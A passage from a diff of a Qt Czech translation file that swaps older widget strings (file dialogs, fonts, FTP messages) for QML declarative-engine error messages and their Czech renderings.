             První datový záznam se nepodařilo natáhnout
         
    @@ -1272,4572 +1357,5143 @@ na
     
         QDateTimeEdit
         
    -        
             AM
             AM
         
         
    -        
             PM
             PM
         
         
    -        
             am
             am
         
         
    -        
             pm
             pm
         
     
     
    -    QDial
    +    QDeclarativeAbstractAnimation
         
    -        
    -        QDial
    -        QDial
    +        Cannot animate non-existent property "%1"
    +        Vlastnost '%1" neexistuje a nelze ji proto animovat
         
         
    -        
    -        SliderHandle
    -        Posuvník
    +        Cannot animate read-only property "%1"
    +        Vlastnost '%1" je pouze pro čtení a nelze ji proto animovat
         
         
    -        
    -        SpeedoMeter
    -        Rychloměr
    +        Animation is an abstract class
    +        Animace je abstraktní třída
         
     
     
    -    QDialog
    -    
    -        
    -        Done
    -        Hotovo
    -    
    +    QDeclarativeAnchorAnimation
         
    -        
    -        What's This?
    -        Co je toto?
    +        Cannot set a duration of < 0
    +        Nelze nastavit dobu trvání < 0
         
     
     
    -    QDialogButtonBox
    +    QDeclarativeAnchors
         
    -        
    -        
    -        
    -        OK
    -        OK
    +        Possible anchor loop detected on fill.
    +        Při operaci naplnění byla zjištěna případná nekonečná smyčka kotvy.
         
         
    -        
    -        &OK
    -        &OK
    +        Possible anchor loop detected on centerIn.
    +        Při operaci 'centerIn' byla zjištěna případná nekonečná smyčka kotvy.
         
         
    -        
    -        &No
    -        &Ne
    +        Cannot anchor to an item that isn't a parent or sibling.
    +        Cílem kotvy musí být rodičovský prvek nebo prvek na stejné úrovni.
         
         
    -        
    -        &Yes
    -        &Ano
    +        Possible anchor loop detected on vertical anchor.
    +        Při svislé kotvě byla zjištěna případná nekonečná smyčka kotvy.
         
         
    -        
    -        Help
    -        Nápověda
    +        Possible anchor loop detected on horizontal anchor.
    +        Při vodorovné kotvě byla zjištěna případná nekonečná smyčka kotvy.
         
         
    -        
    -        Open
    -        Otevřít
    +        Cannot specify left, right, and hcenter anchors.
    +        Nelze zadat kotevní údaje pro vlevo, vpravo a umístěno vodorovně do středu. Nesmí se vyskytovat společně.
         
         
    -        
    -        Save
    -        Uložit
    +        Cannot anchor to a null item.
    +        Nelze dát kotvu k nulovému prvku.
         
         
    -        
    -        &Save
    -        &Uložit
    +        Cannot anchor a horizontal edge to a vertical edge.
    +        Nelze ukotvit vodorovný okraj ke svislému.
         
         
    -        
    -        Abort
    -        Zrušit
    +        Cannot anchor item to self.
    +        Prvek nemůže mít kotvu k sobě samému.
         
         
    -        
    -        Apply
    -        Použít
    +        Cannot specify top, bottom, and vcenter anchors.
    +        Nelze zadat kotevní údaje pro nahoře, dole a umístěno svisle do středu. Nesmí se vyskytovat společně.
         
         
    -        
    -        Close
    -        Zavřít
    +        Baseline anchor cannot be used in conjunction with top, bottom, or vcenter anchors.
    +        Kotva pro výchozí bod se nesmí používat společně s dalšími kotevními údaji pro nahoře, dole a umístěno svisle do středu.
         
         
    -        
    -        Reset
    -        Vrátit
    +        Cannot anchor a vertical edge to a horizontal edge.
    +        Nelze ukotvit svislý okraj k vodorovnému.
         
    +
    +
    +    QDeclarativeAnimatedImage
         
    -        
    -        Retry
    -        Opakovat
    +        Qt was built without support for QMovie
    +        Qt bylo sestaveno bez podpory pro QMovie
         
    +
    +
    +    QDeclarativeBehavior
         
    -        
    -        Restore Defaults
    -        Obnovit výchozí
    +        Cannot change the animation assigned to a Behavior.
    +        Animaci patřící k prvku Behavior nelze změnit.
         
    +
    +
    +    QDeclarativeBinding
         
    -        
    -        &Close
    -        &Zavřít
    +        Binding loop detected for property "%1"
    +        U pro vlastnost "%1" zadané vazby byla zjištěna nekonečná smyčka
         
    +
    +
    +    QDeclarativeCompiledBindings
         
    -        
    -        Cancel
    -        Zrušit
    +        Binding loop detected for property "%1"
    +        U pro vlastnost "%1" zadané vazby byla zjištěna nekonečná smyčka
         
    +
    +
    +    QDeclarativeCompiler
         
    -        
    -        Ignore
    -        Přehlížet
    +        Invalid property assignment: "%1" is a read-only property
    +        Neplatné přiřazení vlastnosti: "%1" je vlastnost pouze pro čtení
         
         
    -        
    -        Close without Saving
    -        Zavřít bez uložení
    +        Invalid property assignment: unknown enumeration
    +        Neplatné přiřazení vlastnosti: neplatná výčtová hodnota
         
         
    -        
    -        N&o to All
    -        N&e, žádné
    +        Invalid property assignment: string expected
    +        Neplatné přiřazení vlastnosti: očekáván řetězec
         
         
    -        
    -        Save All
    -        Uložit vše
    +        Invalid property assignment: url expected
    +        Neplatné přiřazení vlastnosti: očekávána adresa (URL)
         
         
    -        
    -        &Cancel
    -        &Zrušit
    +        Invalid property assignment: unsigned int expected
    +        Neplatné přiřazení vlastnosti: očekávána celočíselná hodnota bez znaménka
         
         
    -        
    -        Discard
    -        Odmítnout
    +        Invalid property assignment: int expected
    +        Neplatné přiřazení vlastnosti: očekávána celočíselná hodnota
         
         
    -        
    -        Yes to &All
    -        Ano, &vše
    +        Invalid property assignment: number expected
    +        Neplatné přiřazení vlastnosti: očekáváno číslo
         
         
    -        
    -        Don't Save
    -        Neukládat
    +        Invalid property assignment: color expected
    +        Neplatné přiřazení vlastnosti: očekáváno vymezení barvy
         
    -
    -
    -    QDirModel
         
    -        Kind
    -        Druh
    +        Invalid property assignment: date expected
    +        Neplatné přiřazení vlastnosti: očekáván údaj s datem
         
         
    -        
    -        Name
    -        Název
    +        Invalid property assignment: time expected
    +        Neplatné přiřazení vlastnosti: očekáván časový údaj
         
         
    -        
    -        Size
    -        Velikost
    +        Invalid property assignment: datetime expected
    +        Neplatné přiřazení vlastnosti: očekáván údaj s datem
         
         
    -        
    -        Kind
    -        Match OS X Finder
    -        Druh
    +        Invalid property assignment: point expected
    +        Neplatné přiřazení vlastnosti: očekáván souřadnicový údaj pro jeden bod
         
         
    -        
    -        Type
    -        All other platforms
    -        Typ
    +        Invalid property assignment: size expected
    +        Neplatné přiřazení vlastnosti: očekáván údaj s velikostí
         
         
    -        Type
    -        Typ
    +        Invalid property assignment: rect expected
    +        Neplatné přiřazení vlastnosti: očekáván parametr pro pravoúhelník
         
         
    -        
    -        Date Modified
    -        Datum změny
    +        Invalid property assignment: boolean expected
    +        Neplatné přiřazení vlastnosti: očekávána booleánská hodnota
         
    -
    -
    -    QDockWidget
         
    -        
    -        Dock
    -        Vplout do panelu
    +        Invalid property assignment: 3D vector expected
    +        Neplatné přiřazení vlastnosti: očekáván třírozměrný vektor
         
         
    -        
    -        Close
    -        Zavřít
    +        Invalid property assignment: unsupported type "%1"
    +        Neplatné přiřazení vlastnosti: Typ "%1" není podporován
         
         
    -        
    -        Float
    -        Plout
    +        Element is not creatable.
    +        Příkaz nelze vytvořit.
         
    -
    -
    -    QDoubleSpinBox
         
    -        
    -        Less
    -        Méně
    +        Component elements may not contain properties other than id
    +        Prvky součástek nesmí kromě ID obsahovat další vlastnosti
         
         
    -        
    -        More
    -        Více
    +        Invalid component id specification
    +        Neplatné vymezení součástky
         
    -
    -
    -    QErrorMessage
         
    -        
    -        &OK
    -        &OK
    +        id is not unique
    +        Hodnota ID není jednoznačná
         
         
    -        
    -        Fatal Error:
    -        Osudová chyba:
    +        Invalid component body specification
    +        Neplatné vymezení obsahu součástky
         
         
    -        
    -        &Show this message again
    -        Toto hlášení &ukázat ještě jednou
    +        Component objects cannot declare new properties.
    +        Předměty součástek nemohou prohlásit nové vlastnosti.
         
         
    -        
    -        Debug Message:
    -        Hlášení o odladění:
    +        Component objects cannot declare new signals.
    +        Předměty součástek nemohou prohlásit nové signály.
         
         
    -        
    -        Warning:
    -        Varování:
    +        Component objects cannot declare new functions.
    +        Předměty součástek nemohou prohlásit nové funkce.
         
    -
    -
    -    QFile
         
    -        
    -        Cannot create %1 for output
    -        %1 se nepodařilo zřídit pro výstup
    +        Cannot create empty component specification
    +        Nelze vytvořit prázdné vymezení součástky
         
         
    -        
    -        Failure to write block
    -        Datový blok se nepodařilo zapsat
    +        Incorrectly specified signal assignment
    +        Nesprávně vymezené přiřazení signálu
         
         
    -        
    -        Will not rename sequential file using block copy
    -        Nepřejmenuje posloupný soubor pomocí kopie bloku
    +        Cannot assign a value to a signal (expecting a script to be run)
    +        K signálu nelze přiřadit hodnotu (očekává se spuštění skriptu)
         
         
    -        
    -        Cannot remove source file
    -        Nelze odstranit zdrojový soubor
    +        Empty signal assignment
    +        Prázdné přiřazení signálu
         
         
    -        
    -        Cannot open %1 for input
    -        %1 se nepodařilo otevřít pro čtení
    +        Empty property assignment
    +        Prázdné přiřazení vlastnosti
         
         
    -        
    -        
    -        Destination file exists
    -        Cílový soubor již existuje
    +        Attached properties cannot be used here
    +        Na tomto místě nemohou být připojené vlastnosti (typu 'attached') používány
         
         
    -        
    -        Cannot open for output
    -        Nepodařilo se otevřít pro zápis
    +        Non-existent attached object
    +        Pro vlastnost neexistuje žádný připojený předmět
         
    -
    -
    -    QFileDialog
         
    -        
    -        
    -        Back
    -        Zpět
    +        Invalid attached object assignment
    +        Neplatné přiřazení připojeného předmětu
         
         
    -        
    -        
    -        File
    -        Soubor
    +        Cannot assign to non-existent default property
    +        Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost
         
         
    -        
    -        File Folder
    -        Match Windows Explorer
    -        Souborová složka
    +        Cannot assign to non-existent property "%1"
    +        Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost pojmenovaná jako "%1"
         
         
    -        
    -        Folder
    -        All other platforms
    -        Složka
    +        Invalid use of namespace
    +        Neplatné použití jmenného prostoru
         
         
    -        
    -        Alias
    -        Mac OS X Finder
    -        Přezdívka
    +        Not an attached property name
    +        Neplatný název pro připojenou vlastnost (typu 'attached')
         
         
    -        
    -        Shortcut
    -        All other platforms
    -        Zkratka
    +        Invalid use of id property
    +        Neplatné použití vlastnosti typu 'id'
         
         
    -        
    -        Open
    -        Otevřít
    +        Property has already been assigned a value
    +        Vlastnosti již byla přiřazena hodnota
         
         
    -        
    -        
    -        
    -        &Open
    -        &Otevřít
    +        Invalid grouped property access
    +        Nesprávné seskupení při přístupu k vlastnosti
         
         
    -        
    -        
    -        &Save
    -        &Uložit
    +        Cannot assign a value directly to a grouped property
    +        U vlastnosti, která je částí seskupení, není žádné přímé přiřazení hodnoty přípustné
         
         
    -        
    -        Drive
    -        Disková jednotka
    +        Invalid property use
    +        Neplatné použití vlastnosti
         
         
    -        
    -        Show 
    -        Ukázat 
    +        Property assignment expected
    +        Očekáváno přiřazení vlastnosti
         
         
    -        
    -        '%1' is write protected.
    -Do you want to delete it anyway?
    -        '%1' je chráněn proti zápisu.
    -Přesto chcete soubor smazat?
    +        Single property assignment expected
    +        Očekáváno jednotlivé přiřazení vlastnosti
         
         
    -        
    -        
    -        File &name:
    -        Název &souboru:
    +        Unexpected object assignment
    +        Nepřípustné přiřazení předmětu
         
         
    -        
    -        New Folder
    -        Nová složka
    +        Cannot assign object to list
    +        Přiřazení předmětu k seznamům není přípustné
         
         
    -        
    -        
    -        Parent Directory
    -        Nadřazený adresář
    +        Can only assign one binding to lists
    +        K seznamům lze přiřadit pouze jednu jedinou vazbu
         
         
    -        
    -        &New Folder
    -        &Nová složka
    +        Cannot assign primitives to lists
    +        Přiřazení jednoduché hodnoty (primitivy) k seznamům není přípustné
         
         
    -        
    -        Remove
    -        Odstranit
    +        Cannot assign multiple values to a script property
    +        Přiřazení více hodnot k vlastnosti skriptu není přípustné
         
         
    -        
    -        My Computer
    -        Můj počítač
    +        Invalid property assignment: script expected
    +        Neplatné přiřazení vlastnosti: očekáván skript
         
         
    -        
    -        
    -        Look in:
    -        Hledat v:
    +        Cannot assign multiple values to a singular property
    +        Přiřazení více hodnot k jedné vlastnosti není přípustné
         
         
    -        
    -        
    -        Files of type:
    -        Soubory typu:
    +        Cannot assign object to property
    +        Přiřazení předmětu k vlastnosti není přípustné
         
         
    -        
    -        Find Directory
    -        Najít adresář
    +        "%1" cannot operate on "%2"
    +        "%1" nelze použít na "%2"
         
         
    -        
    -        Show &hidden files
    -        &Ukázat skryté soubory
    +        Duplicate default property
    +        Zdvojená výchozí vlastnost
         
         
    -        
    -        Are sure you want to delete '%1'?
    -        Jste si jistý, že %1 chcete smazat?
    +        Duplicate property name
    +        Zdvojený název vlastnosti
         
         
    -        
    -        Save As
    -        Uložit jako
    +        Property names cannot begin with an upper case letter
    +        Názvy vlastností nesmí začínat velkým písmenem
         
         
    -        
    -        
    -        %1
    -Directory not found.
    -Please verify the correct directory name was given.
    -        %1
    -Adresář se nepodařilo nalézt.
    -Ověřte, prosím, že byl zadán správný název adresáře.
    +        Illegal property name
    +        Neplatný název vlastnosti
         
         
    -        
    -        
    -        List View
    -        Pohled se seznamem
    +        Duplicate signal name
    +        Zdvojený název signálu
         
         
    -        
    -        
    -        &Choose
    -        &Vybrat
    +        Signal names cannot begin with an upper case letter
    +        Názvy signálů nesmí začínat velkým písmenem
         
         
    -        
    -        &Delete
    -        &Smazat
    +        Illegal signal name
    +        Neplatný název signálu
         
         
    -        
    -        
    -        All Files (*)
    -        Všechny soubory (*)
    +        Duplicate method name
    +        Zdvojený název metody
         
         
    -        
    -        Directories
    -        Adresáře
    +        Method names cannot begin with an upper case letter
    +        Názvy metod nesmí začínat velkým písmenem
         
         
    -        
    -        All Files (*.*)
    -        Všechny soubory (*.*)
    +        Illegal method name
    +        Neplatný název metody
         
         
    -        
    -        &Rename
    -        &Přejmenovat
    +        Property value set multiple times
    +        Vícenásobné přiřazení hodnoty k vlastnosti
         
         
    -        
    -        Could not delete directory.
    -        Adresář se nepodařilo smazat.
    +        Invalid property nesting
    +        Neplatné vkládání vlastností
         
         
    -        
    -        
    -        Directory:
    -        Adresář:
    +        Cannot override FINAL property
    +        Nelze přepsat vlastnost prohlašovanou jako 'FINAL'
         
         
    -        
    -        Unknown
    -        Neznámý
    +        Invalid property type
    +        Neplatný typ vlastnosti
         
         
    -        
    -        %1 already exists.
    -Do you want to replace it?
    -        Soubor %1 již existuje.
    -Chcete jej nahradit?
    +        Invalid empty ID
    +        Neplatná, protože prázdná, hodnota ID
         
         
    -        
    -        
    -        Forward
    -        Dopředu
    +        IDs cannot start with an uppercase letter
    +        Hodnoty ID nesmí začínat velkým písmenem
         
         
    -        
    -        Recent Places
    -        Naposledy navštívené
    +        IDs must start with a letter or underscore
    +        Hodnoty ID musí začínat písmenem nebo znakem _podtržítka
         
         
    -        
    -        
    -        Create New Folder
    -        Vytvořit novou složku
    +        IDs must contain only letters, numbers, and underscores
    +        Hodnoty ID musí obsahovat pouze písmena, číslice nebo znaky _podtržítka
         
         
    -        
    -        
    -        Detail View
    -        Podrobný pohled
    +        ID illegally masks global JavaScript property
    +        Hodnota ID nedovoleně zakrývá celkovou vlastnost z JavaScriptu
         
         
    -        
    -        %1
    -File not found.
    -Please verify the correct file name was given.
    -        %1
    -Soubor se nepodařilo nalézt.
    -Ověřte, prosím, že byl zadán správný název souboru.
    +        No property alias location
    +        Vlastnost alias bez umístění
         
    -
    -
    -    QFileSystemModel
         
    -        Kind
    -        Druh
    +        Invalid alias location
    +        Neplatné umístění alias
         
         
    -        
    -        Name
    -        Název
    +        Invalid alias reference. An alias reference must be specified as <id>, <id>.<property> or <id>.<value property>.<property>
    +        Neplatné odkazování na vlastnost alias. Odkazování na vlastnost alias musí být určeno jako <id>, <id>.<vlastnost> nebo <id>.<vlastnost hodnoty>.<vlastnost>
         
         
    -        
    -        Size
    -        Velikost
    +        Invalid alias reference. Unable to find id "%1"
    +        Neplatné odkazování na vlastnost alias. Nelze najít ID "%1"
         
         
    -        Type
    -        Typ
    +        Alias property exceeds alias bounds
    +        Vlastnost alias překračuje vazby alias
         
    +
    +
    +    QDeclarativeComponent
         
    -        
    -        
    -        %1 GB
    -        %1 GB
    +        Invalid empty URL
    +        Neplátná prázdná adresa (URL)
         
    +
    +
    +    QDeclarativeConnections
         
    -        
    -        
    -        %1 KB
    -        %1 KB
    +        Cannot assign to non-existent property "%1"
    +        Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost pojmenovaná jako "%1"
         
         
    -        
    -        
    -        %1 MB
    -        %1 MB
    +        Connections: nested objects not allowed
    +        Spojení: vkládané předměty nejsou povoleny
         
         
    -        
    -        
    -        %1 TB
    -        %1 TB
    +        Connections: syntax error
    +        Spojení: chyba ve skladbě
         
         
    -        
    -        <b>The name "%1" can not be used.</b><p>Try using another name, with fewer characters or no punctuations marks.
    -        <b>Název "%1" nelze použít.</b><p>Zkuste použít jiný název, s menším počtem znaků nebo bez zvláštních znaků.
    +        Connections: script expected
    +        Spojení: očekáván skript
         
    +
    +
    +    QDeclarativeEngine
         
    -        
    -        
    -        %1 bytes
    -        %1 bytů
    +        executeSql called outside transaction()
    +        'executeSql' byl vyvolán mimo 'transaction()'
         
         
    -        
    -        My Computer
    -        Můj počítač
    +        Read-only Transaction
    +        Transakce pouze pro čtení
         
         
    -        
    -        Computer
    -        Počítač
    +        Version mismatch: expected %1, found %2
    +        Verzi %2 nelze používat; je třeba %1
         
         
    -        
    -        Invalid filename
    -        Neplatný název souboru
    +        SQL transaction failed
    +        Transakce SQL se nezdařila
         
         
    -        
    -        Kind
    -        Match OS X Finder
    -        Druh
    +        transaction: missing callback
    +        Transakce: chybí callback (zavolat znovu)
         
         
    -        
    -        Type
    -        All other platforms
    -        Typ
    +        SQL: database version mismatch
    +        SQL: Verze databáze neodpovídá očekávané verzi
         
    +
    +
    +    QDeclarativeFlipable
         
    -        
    -        Date Modified
    -        Datum změny
    +        front is a write-once property
    +        'front' lze přidělit pouze jednou
    +    
    +    
    +        back is a write-once property
    +        'back' lze přidělit pouze jednou
         
     
     
    -    QFontDatabase
    +    QDeclarativeImportDatabase
         
    -        
    -        Any
    -        Všechna
    +        cannot load module "%1": File name case mismatch for "%2"
    +        Nelze nahrát modul "%1": Velikost písmen v názvu souboru neodpovídá pro %2
         
         
    -        
    -        Lao
    -        Laoské
    +        module "%1" definition "%2" not readable
    +        Modul "%1" vymezení "%2" nečitelné
         
         
    -        
    -        
    -        
    -        Bold
    -        Tučné
    +        plugin cannot be loaded for module "%1": %2
    +        Nelze nahrát přídavný modul pro modul "%1": %2
         
         
    -        
    -        Demi
    -        Polotučné
    +        module "%1" plugin "%2" not found
    +        Modul "%1" přídavný modul "%2" nenalezen
         
         
    -        
    -        Thai
    -        Thajské
    +        module "%1" version %2.%3 is not installed
    +        Modul "%1" verze %2.%3 není nainstalován
         
         
    -        
    -        
    -        
    -        Black
    -        Černé
    +        module "%1" is not installed
    +        Modul "%1" není nainstalován
         
         
    -        
    -        Greek
    -        Řecké
    +        "%1": no such directory
    +        "%1": žádný takový adresář není
         
         
    -        
    -        Khmer
    -        Khmerské
    +        import "%1" has no qmldir and no namespace
    +        Zavedení "%1" nemá žádný qmldir a nemá žádný jmenný prostor
         
         
    -        
    -        Latin
    -        Latinské
    +        - %1 is not a namespace
    +        - %1 jmenným prostorem
         
         
    -        
    -        
    -        Light
    -        Lehké
    +        - nested namespaces not allowed
    +        - vkládané jmenné prostory nejsou povoleny
         
         
    -        
    -        Ogham
    -        Ogamské
    +        local directory
    +        Místní adresář
         
         
    -        
    -        Oriya
    -        Oriya
    +        is ambiguous. Found in %1 and in %2
    +        je dvojznačný. Nalezen v %1 a v %2
         
         
    -        
    -        Runic
    -        Runové
    +        is ambiguous. Found in %1 in version %2.%3 and %4.%5
    +        je dvojznačný. Nalezen v %1 ve verzi %2.%3 a %4.%5
         
         
    -        
    -        Tamil
    -        Tamilské
    +        is instantiated recursively
    +        je doložen příkladem rekurzivně
         
         
    -        
    -        Cyrillic
    -        Cyrilské
    +        is not a type
    +        není typ
         
         
    -        
    -        Kannada
    -        Kannada
    +        File name case mismatch for "%2"
    +        Velikost písmen v názvu souboru neodpovídá pro %2
         
    +
    +
    +    QDeclarativeKeyNavigationAttached
         
    -        
    -        Malayalam
    -        Malayalam
    +        KeyNavigation is only available via attached properties
    +        Klávesové navádění (KeyNavigation) je dostupné pouze pomocí připojených vlastností
         
    +
    +
    +    QDeclarativeKeysAttached
         
    -        
    -        Simplified Chinese
    -        Zjednodušená čínština
    +        Keys is only available via attached properties
    +        Keys je dostupné pouze pomocí připojených vlastností
         
    +
    +
    +    QDeclarativeListModel
         
    -        
    -        
    -        Demi Bold
    -        Polotučné
    +        remove: index %1 out of range
    +        odstranit (remove): Index %1 je mimo platnou oblast
         
         
    -        
    -        Arabic
    -        Arabské
    +        insert: value is not an object
    +        vložit (insert): Hodnota není předmětem
         
         
    -        
    -        Hebrew
    -        Hebrejské
    +        insert: index %1 out of range
    +        vložit (insert): Index %1 je mimo platnou oblast
         
         
    -        
    -        Myanmar
    -        Myanmar
    +        move: out of range
    +        přesunout (move): je mimo platnou oblast
         
         
    -        
    -        
    -        Italic
    -        Itala
    +        append: value is not an object
    +        připojit (append): Hodnota není předmětem
         
         
    -        
    -        Korean
    -        Korejské
    +        set: value is not an object
    +        nastavit (set): Hodnota není předmětem
         
         
    -        
    -        
    -        Normal
    -        Obvyklé
    +        set: index %1 out of range
    +        nastavit (set): Index %1 je mimo platnou oblast
         
         
    -        
    -        
    -        Oblique
    -        Nakloněné
    +        ListElement: cannot contain nested elements
    +        ListElement: nelze obsahovat vkládané prvky
         
         
    -        
    -        Telugu
    -        Telugu
    +        ListElement: cannot use reserved "id" property
    +        ListElement: nelze používat vlastnost "ID"
         
         
    -        
    -        Thaana
    -        Thaana
    +        ListElement: cannot use script for property value
    +        ListElement: nelze používat skript pro hodnotu vlastnosti
         
         
    -        
    -        Symbol
    -        Symbol
    +        ListModel: undefined property '%1'
    +        ListModel: Vlastnost '%1' není vymezena
         
    +
    +
    +    QDeclarativeLoader
         
    -        
    -        Syriac
    -        Syrské
    +        Loader does not support loading non-visual elements.
    +        Nahrávání neviditelných prvků není podporováno.
         
    +
    +
    +    QDeclarativeParentAnimation
         
    -        
    -        Devanagari
    -        Devanagari
    +        Unable to preserve appearance under complex transform
    +        Při složité proměně nelze zachovat vzhled
         
         
    -        
    -        Japanese
    -        Japonské
    +        Unable to preserve appearance under non-uniform scale
    +        Při nejednotné změně velikosti nelze zachovat vzhled
         
         
    -        
    -        Bengali
    -        Bengálské
    +        Unable to preserve appearance under scale of 0
    +        Při změně velikosti s 0 nelze zachovat vzhled
         
    +
    +
    +    QDeclarativeParentChange
         
    -        
    -        Armenian
    -        Arménské
    +        Unable to preserve appearance under complex transform
    +        Při složité proměně nelze zachovat vzhled
         
         
    -        
    -        Sinhala
    -        Sinhálské
    +        Unable to preserve appearance under non-uniform scale
    +        Při nejednotné změně velikosti nelze zachovat vzhled
         
         
    -        
    -        Tibetan
    -        Tibetské
    +        Unable to preserve appearance under scale of 0
    +        Při změně velikosti s 0 nelze zachovat vzhled
         
    +
    +
    +    QDeclarativeParser
         
    -        
    -        Vietnamese
    -        Větnamské
    +        Illegal unicode escape sequence
    +        Neplatná úniková posloupnost unicode
         
         
    -        
    -        Gujarati
    -        Gujarati
    +        Illegal character
    +        Neplatný znak
         
         
    -        
    -        Traditional Chinese
    -        Tradiční čínština
    +        Unclosed string at end of line
    +        Neuzavřený řetězec na konci řádku
         
         
    -        
    -        Georgian
    -        Gruzínské
    +        Illegal escape squence
    +        Neplatná úniková posloupnost
         
         
    -        
    -        Gurmukhi
    -        Gurmukhi
    +        Unclosed comment at end of file
    +        Neuzavřená poznámka na konci souboru
         
    -
    -
    -    QFontDialog
         
    -        
    -        &Font
    -        &Písmo
    +        Illegal syntax for exponential number
    +        Neplatná skladba exponenciálního čísla
         
         
    -        
    -        &Size
    -        &Velikost
    +        Identifier cannot start with numeric literal
    +        Identifikátor nemůže začínat s číselným překlepem
         
         
    -        
    -        Sample
    -        Vzorek
    +        Unterminated regular expression literal
    +        Neuzavřený regulární výraz
         
         
    -        
    -        Font st&yle
    -        Druh pís&ma
    +        Invalid regular expression flag '%0'
    +        Neplatný příznak '%0' u regulárního výrazu
         
         
    -        
    -        Wr&iting System
    -        Způsob &psaní
    +        Unterminated regular expression backslash sequence
    +        Neuzavřená posloupnost se zpětným lomítkem u regulárního výrazu
         
         
    -        
    -        
    -        Select Font
    -        Vybrat písmo
    +        Unterminated regular expression class
    +        Neuzavřená třída u neuzavřeného regulárního výrazu
         
         
    -        
    -        &Underline
    -        &Podtrhnout
    +        Syntax error
    +        Chyba ve skladbě
         
         
    -        
    -        Effects
    -        Efekty
    +        Unexpected token `%1'
    +        Neočekávaný symbol `%1'
         
         
    -        
    -        Stri&keout
    -        Pře&škrtnout
    +        Expected token `%1'
    +        Očekávaný symbol `%1'
         
    -
    -
    -    QFtp
         
    -        
    -        
    -        Listing directory failed:
    -%1
    -        Obsah adresářů nelze ukázat:
    -%1
    +        Property value set multiple times
    +        Vícenásobné přiřazení hodnoty k vlastnosti
         
         
    -        
    -        
    -        Creating directory failed:
    -%1
    -        Vytvoření adresářů se nezdařilo:
    -%1
    +        Expected type name
    +        Očekávaný název typu
         
         
    -        
    -        
    -        Not connected
    -        Žádné spojení
    +        Invalid import qualifier ID
    +        Neplatný údaj o ID při zavádění
         
         
    -        
    -        
    -        Connection refused for data connection
    -        Odmítnuto spojení spojení pro data
    +        Reserved name "Qt" cannot be used as an qualifier
    +        Zamluvený název "Qt" nemůže být použit jako kvalifikant
         
         
    -        
    -        
    -        Login failed:
    -%1
    -        Přihlášení se nezdařilo:
    -%1
    +        Script import qualifiers must be unique.
    +        Kvalifikanty zadané pro zavedení skriptu musí být jednoznačné.
         
         
    -        
    -        
    -        Downloading file failed:
    -%1
    -        Stažení souboru se nezdařilo:
    -%1
    +        Script import requires a qualifier
    +        Zavedení skriptu vyžaduje údaj o kvalifikantu
         
         
    -        
    -        Connected to host
    -        Spojení s počítačem navázáno
    +        Library import requires a version
    +        Zavedení knihovny vyžaduje údaj o verzi
         
         
    -        
    -        Connection timed out to host %1
    -        Časový limit pro spojení s počítačem '%1' byl překročen
    +        Expected parameter type
    +        Očekáván typ parametru
         
         
    -        
    -        
    -        
    -        Connected to host %1
    -        Spojeno s počítačem %1
    +        Invalid property type modifier
    +        Neplatný modifikátor pro typ vlastnosti
         
         
    -        
    -        
    -        Connecting to host failed:
    -%1
    -        Spojení s počítačem se nezdařilo:
    -%1
    +        Unexpected property type modifier
    +        Neočekávaný modifikátor pro typ vlastnosti
         
         
    -        
    -        
    -        Host %1 not found
    -        Počítač %1 se nepodařilo nalézt
    +        Expected property type
    +        Očekáván typ vlastnosti
         
         
    -        
    -        
    -        Uploading file failed:
    -%1
    -        Nahrání souboru se nezdařilo:
    -%1
    +        Readonly not yet supported
    +        "Pouze pro čtení" není na tomto místě ještě nepodporováno
         
         
    -        
    -        
    -        Changing directory failed:
    -%1
    -        Změna adresáře se nezdařila:
    -%1
    +        JavaScript declaration outside Script element
    +        Prohlášení JavaScriptu není mimo prvek skriptu přípustné
         
    +
    +
    +    QDeclarativePauseAnimation
         
    -        
    -        Host found
    -        Počítač byl nalezen
    +        Cannot set a duration of < 0
    +        Nelze nastavit dobu trvání < 0
         
    +
    +
    +    QDeclarativePixmap
         
    -        
    -        
    -        Removing directory failed:
    -%1
    -        Odstranění adresáře se nezdařilo:
    -%1
    +        Error decoding: %1: %2
    +        Chba při dekódování: %1: %2
         
         
    -        
    -        
    -        Connection refused to host %1
    -        Spojení s počítačem %1 odmítnuto
    +        Failed to get image from provider: %1
    +        Obrazová data se od poskytovatele nepodařilo získat: %1
         
         
    -        
    -        Connection to %1 closed
    -        Spojení s %1 ukončeno
    +        Cannot open: %1
    +        Nelze otevřít: %1
         
    +
    +
    +    QDeclarativePropertyAnimation
         
    -        
    -        
    -        Removing file failed:
    -%1
    -        Odstranění souboru se nezdařilo:
    -%1
    +        Cannot set a duration of < 0
    +        Nelze nastavit dobu trvání < 0
         
    +
    +
    +    QDeclarativePropertyChanges
         
    -        
    -        Host %1 found
    -        Počítač %1 byl nalezen
    +        PropertyChanges does not support creating state-specific objects.
    +        PropertyChanges nepodporuje vytváření předmětů, které jsou přiřazeny jednomu stavu.
         
         
    -        
    -        
    -        
    -        
    -        Unknown error
    -        Neznámá chyba
    +        Cannot assign to non-existent property "%1"
    +        Nelze provést žádné přiřazení, neboť neexistuje výchozí vlastnost pojmenovaná jako "%1"
         
         
    -        
    -        
    -        
    -        Connection closed
    -        Spojení ukončeno
    +        Cannot assign to read-only property "%1"
    +        Vlastnost '%1" je pouze pro čtení a nelze ji proto přiřadit
         
     
     
    -    QHostInfo
    +    QDeclarativeTextInput
         
    -        
    -        Unknown error
    -        Neznámá chyba
    +        Could not load cursor delegate
    +        Nepodařilo se nahrát zástupce kurzoru
         
    -
    -
    -    QHostInfoAgent
         
    -        
    -        
    -        
    -        
    -        Host not found
    -        Nepodařilo se najít počítač
    +        Could not instantiate cursor delegate
    +        Zástupce kurzoru se nepodařilo doložit příkladem
         
    +
    +
    +    QDeclarativeTypeLoader
         
    -        
    -        
    -        
    -        
    -        Unknown address type
    -        Neznámý typ adresy
    +        Script %1 unavailable
    +        Skript %1 nedostupný
         
         
    -        
    -        
    -        
    -        Unknown error
    -        Neznámá chyba
    +        Type %1 unavailable
    +        Typ %1 nedostupný
         
         
    -        
    -        No host name given
    -        Nebyl zadán název pro hostitelský počítač
    +        Namespace %1 cannot be used as a type
    +        Jmenný prostor %1 nelze použít jako typ
         
         
    -        
    -        Invalid hostname
    -        Neplatný název pro hostitelský počítač
    +        %1 %2
    +        %1 %2
         
     
     
    -    QHttp
    +    QDeclarativeVME
         
    -        
    -        Connection refused (or timed out)
    -        Spojení bylo odmítnuto (nebo byl překročen časový limit)
    +        Unable to create object of type %1
    +        Nepodařilo se vytvořit žádný předmět typu %1
         
         
    -        
    -        Data corrupted
    -        Data jsou poškozena
    +        Cannot assign value %1 to property %2
    +        Hodnotu '%1' nelze přiřadit vlastnosti %2
         
         
    -        
    -        Connected to host
